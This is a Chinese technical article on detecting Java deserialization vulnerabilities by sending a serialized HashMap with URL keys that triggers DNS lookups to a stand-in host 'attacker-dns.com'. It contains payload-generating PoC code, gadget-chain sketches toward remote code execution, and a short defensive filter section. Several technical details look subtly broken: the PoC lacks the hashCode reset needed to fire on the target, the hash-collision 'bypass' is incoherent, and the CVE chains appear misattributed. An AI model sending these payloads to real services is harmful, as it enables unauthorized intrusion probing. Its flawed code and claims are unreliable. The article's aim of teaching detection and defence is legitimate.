怎么通过HashMap触发DNS检测Java反序列化漏洞

发布时间:2021-09-04 21:33:14 作者:chen
来源:亿速云 阅读:149
# 怎么通过HashMap触发DNS检测Java反序列化漏洞

## 前言

Java反序列化漏洞自2015年FoxGlove Security团队公开以来,已成为Java安全领域的经典议题。其中利用`HashMap`触发DNS请求的技术因其隐蔽性和检测便利性,成为漏洞验证的常用手段。本文将深入剖析该技术的实现原理、利用条件及防御方案。

---

## 一、Java反序列化漏洞基础

### 1.1 反序列化漏洞成因
当Java应用反序列化不可信数据时,会执行对象的`readObject()`方法。若攻击者精心构造恶意序列化数据,可能触发非预期的对象行为链(Gadget Chain),最终导致RCE、SSRF或DNS查询等副作用。

```java
// 典型漏洞代码示例
try (ObjectInputStream ois = new ObjectInputStream(untrustedInput)) {
    Object obj = ois.readObject(); // 危险的反序列化操作
}

1.2 漏洞利用关键条件


二、HashMap的独特利用价值

2.1 HashMap的序列化特性

HashMap实现了Serializable接口,其readObject()方法包含对键值对的特殊处理逻辑:

private void readObject(ObjectInputStream s) 
    throws IOException, ClassNotFoundException {
    // ...省略其他代码...
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false); // 关键点
    }
}

2.2 触发DNS的核心机制

当HashMap的key是URLInetAddress等网络相关类时: 1. 反序列化过程中会调用key.hashCode() 2. 某些类的hashCode()会触发网络请求 3. 通过DNS日志即可确认漏洞存在


三、经典Gadget分析

3.1 URL类利用链

HashMap->hash(key)
  URL->hashCode()
    URLStreamHandler->hashCode()
      getHostAddress()  // 触发DNS查询

构造PoC代码:

HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://attacker-dns.com");
map.put(url, "test");

// 序列化map对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
byte[] payload = baos.toByteArray();

// 发送payload到目标服务

3.2 其他可利用类

类名 触发方式 依赖库
java.net.Inet4Address getHostName() JRE内置
javax.management.remote.rmi.RMIConnector connect() JMX
org.apache.xbean.naming.context.ContextUtil lookup() XBean

四、完整漏洞检测流程

4.1 环境准备

  1. 搭建DNS日志服务器(如DNSLog.cn)
  2. 获取目标反序列化入口点(RMI/JMS/HTTP等)

4.2 分步检测

sequenceDiagram
    Attacker->>Target: 发送恶意HashMap序列化数据
    Target->>DNS Server: 解析恶意域名
    DNS Server-->>Attacker: 记录查询日志

4.3 检测代码示例

public class HashMapDNSDetector {
    public static byte[] generatePayload(String dnsUrl) throws Exception {
        HashMap<URL, String> map = new HashMap<>();
        URL url = new URL(dnsUrl);
        map.put(url, "vulnerable");
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(map);
        return baos.toByteArray();
    }
}

五、绕过与高级利用技术

5.1 哈希冲突绕过

当目标使用HashTable等数据结构时,可通过精心构造哈希碰撞确保触发:

HashMap<URL, String> map = new HashMap<>();
URL url1 = new URL("http://dns1.example.com");
URL url2 = new URL("http://dns2.example.com");
// 设置相同hashCode
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url1, 123);
hashCodeField.set(url2, 123);

map.put(url1, "value1");
map.put(url2, "value2"); // 确保进入hashCode比较流程

5.2 结合其他Gadget

HashMap->AnnotationInvocationHandler->
  TemplatesImpl->getOutputProperties()
    // 最终实现RCE

六、防御方案

6.1 基础防护

// 使用白名单校验
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.util.HashMap;!java.net.URL");
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);

6.2 进阶方案

方案 实施要点
JEP 290过滤机制 JDK9+默认启用
替换序列化方案 使用JSON/ProtoBuf等替代
运行时防护 RASP检测危险类加载行为

七、实际案例研究

7.1 WebLogic CVE-2020-2555

攻击链:

HashMap->LimitFilter->toString()
  MethodExpression->invoke()
    // 实现JNDI注入

7.2 Jenkins CVE-2019-1003000

利用HashMap触发ScriptSecurity绕过,最终实现沙箱逃逸。


结语

通过HashMap触发DNS检测的技术虽然不能直接获取系统权限,但其作为漏洞存在的”探针”具有重要价值。安全研究人员应深入理解底层机制,开发更精准的检测工具。企业用户则需建立从开发到运维的全生命周期防护体系。

参考资源: 1. Oracle安全公告JEP-290 2. Java反序列化漏洞白皮书 3. ysoserial工具集 “`

注:本文为技术研究文档,仅限合法安全测试使用。实际执行需获得系统所有者授权,禁止用于非法用途。

推荐阅读:
  1. DNS域传送漏洞
  2. php反序列化漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

java hashmap dns

上一篇:Java中的static关键字和静态变量、静态方法

下一篇:MySQL中的隐藏列的具体查看方法

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》